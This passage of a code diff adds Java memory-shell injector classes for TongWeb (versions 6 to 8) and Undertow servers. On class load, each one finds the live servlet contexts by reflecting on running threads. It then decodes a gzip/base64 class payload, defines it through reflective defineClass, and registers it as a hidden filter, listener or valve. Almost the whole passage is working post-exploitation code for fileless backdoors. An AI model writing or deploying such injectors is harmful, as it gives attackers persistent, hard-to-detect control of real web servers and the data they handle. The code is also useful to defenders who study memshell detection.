+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -0,0 +1,221 @@
+package com.reajason.javaweb.memshell.injector.tongweb;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.logging.Logger;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TongWebFilterInjector {
+    Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
+
+    static {
+        new TongWebFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public TongWebFilterInjector() {
+        try {
+            Set<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * com.tongweb.web.thor.core.ThorStandardContext
+     * /opt/tweb6/lib/twnt.jar
+     * com.tongweb.catalina.core.ApplicationContext
+     * /opt/tweb7/lib/tongweb.jar
+     * com.tongweb.server.core.StandardContext
+     * /opt/tweb8/version8.0.6.2/tongweb-web.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                    Collection<?> values = childrenMap.values();
+                    for (Object value : values) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } else if (thread.getContextClassLoader() != null
+                        && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                    contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+                }
+            }catch (Exception ignored) {
+
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object filter) throws Exception {
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            logger.warning("filter already injected");
+            return;
+        }
+        String filterClassName = getClassName();
+        Object filterDef;
+        Object filterMap;
+        Constructor<?> constructor;
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        try {
+            // tongweb 7
+            constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+            filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
+            filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+        } catch (Exception e2) {
+            try {
+                // tongweb 6
+                constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+                filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
+            } catch (Exception e) {
+                // tongweb 8
+                constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
+                filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+            }
+        }
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+
+        constructor.setAccessible(true);
+        Object filterConfig = constructor.newInstance(context, filterDef);
+        Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
+        filterConfigs.put(filterClassName, filterConfig);
+        logger.info("filter inject success");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -0,0 +1,200 @@
+package com.reajason.javaweb.memshell.injector.tongweb;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TongWebListenerInjector {
+
+    static {
+        new TongWebListenerInjector();
+    }
+
+    public TongWebListenerInjector() {
+        try {
+            Set<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object listener) throws Exception {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
+        List listeners = Arrays.asList(objects);
+        for (Object o : listeners) {
+            if (o.getClass().getName().contains(getClassName())) {
+                System.out.println("listener already injected");
+                return;
+            }
+        }
+        Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects");
+        if (applicationEventListenersObjects != null) {
+            Object[] appListeners = (Object[]) applicationEventListenersObjects;
+            if (appListeners != null) {
+                List appListenerList = new ArrayList(Arrays.asList(appListeners));
+                appListenerList.add(listener);
+                setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
+            }
+        } else if (getFieldValue(context, "applicationEventListenersList") != null) {
+            List<Object> appListeners = (List<Object>) getFieldValue(context, "applicationEventListenersList");
+            if (appListeners != null) {
+                appListeners.add(listener);
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -0,0 +1,194 @@
+package com.reajason.javaweb.memshell.injector.tongweb;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TongWebValveInjector {
+
+    static {
+        new TongWebValveInjector();
+    }
+
+    public TongWebValveInjector() {
+        try {
+            Set<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = null;
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        try {
+            // tongweb7
+            valveClass = contextClassLoader.loadClass("com.tongweb.catalina.Valve");
+        } catch (ClassNotFoundException e) {
+            try {
+                // tongweb6
+                valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
+            } catch (ClassNotFoundException e1) {
+                // tongweb8
+                valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
+            }
+        }
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object pipeline) throws Exception {
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -0,0 +1,204 @@
+package com.reajason.javaweb.memshell.injector.undertow;
+
+import javax.servlet.DispatcherType;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * @author ReaJason
+ */
+public class UndertowFilterInjector {
+
+    static {
+        new UndertowFilterInjector();
+    }
+
+    public UndertowFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
+                Object requestContext = invokeMethod(clazz, "current", null, null);
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+            return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object filter) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("filter already injected");
+            return;
+        }
+        Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
+        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+        Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
+        invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+        Object deploymentImpl = getFieldValue(context, "deployment");
+        Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
+        invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+        invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
+        System.out.println("filter inject success");
+    }
+
+    @SuppressWarnings("unchecked")
+    public boolean isInjected(Object context) throws Exception {
+        Map<String, Object> filters = (HashMap<String, Object>) getFieldValue(getFieldValue(context, "deploymentInfo"), "filters");
+        if (filters != null) {
+            for (Map.Entry<String, Object> filter : filters.entrySet()) {
+                Class<?> filterClass = (Class<?>) getFieldValue(filter.getValue(), "filterClass");
+                if (filterClass != null) {
+                    if (filterClass.getName().equals(getClassName())) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -0,0 +1,187 @@
+package com.reajason.javaweb.memshell.injector.undertow;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * @author ReaJason
+ */
+public class UndertowListenerInjector {
+    static {
+        new UndertowListenerInjector();
+    }
+
+    public UndertowListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+            return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object listener) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("listener already injected");
+            return;
+        }
+        Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
+        Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
+        Object deploymentImpl = getFieldValue(context, "deployment");
+        Object applicationListeners = getFieldValue(deploymentImpl, "applicationListeners");
+        Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
+        Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
+        invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
+        System.out.println("listener inject success");
+    }
+
+    public boolean isInjected(Object context) throws Exception {
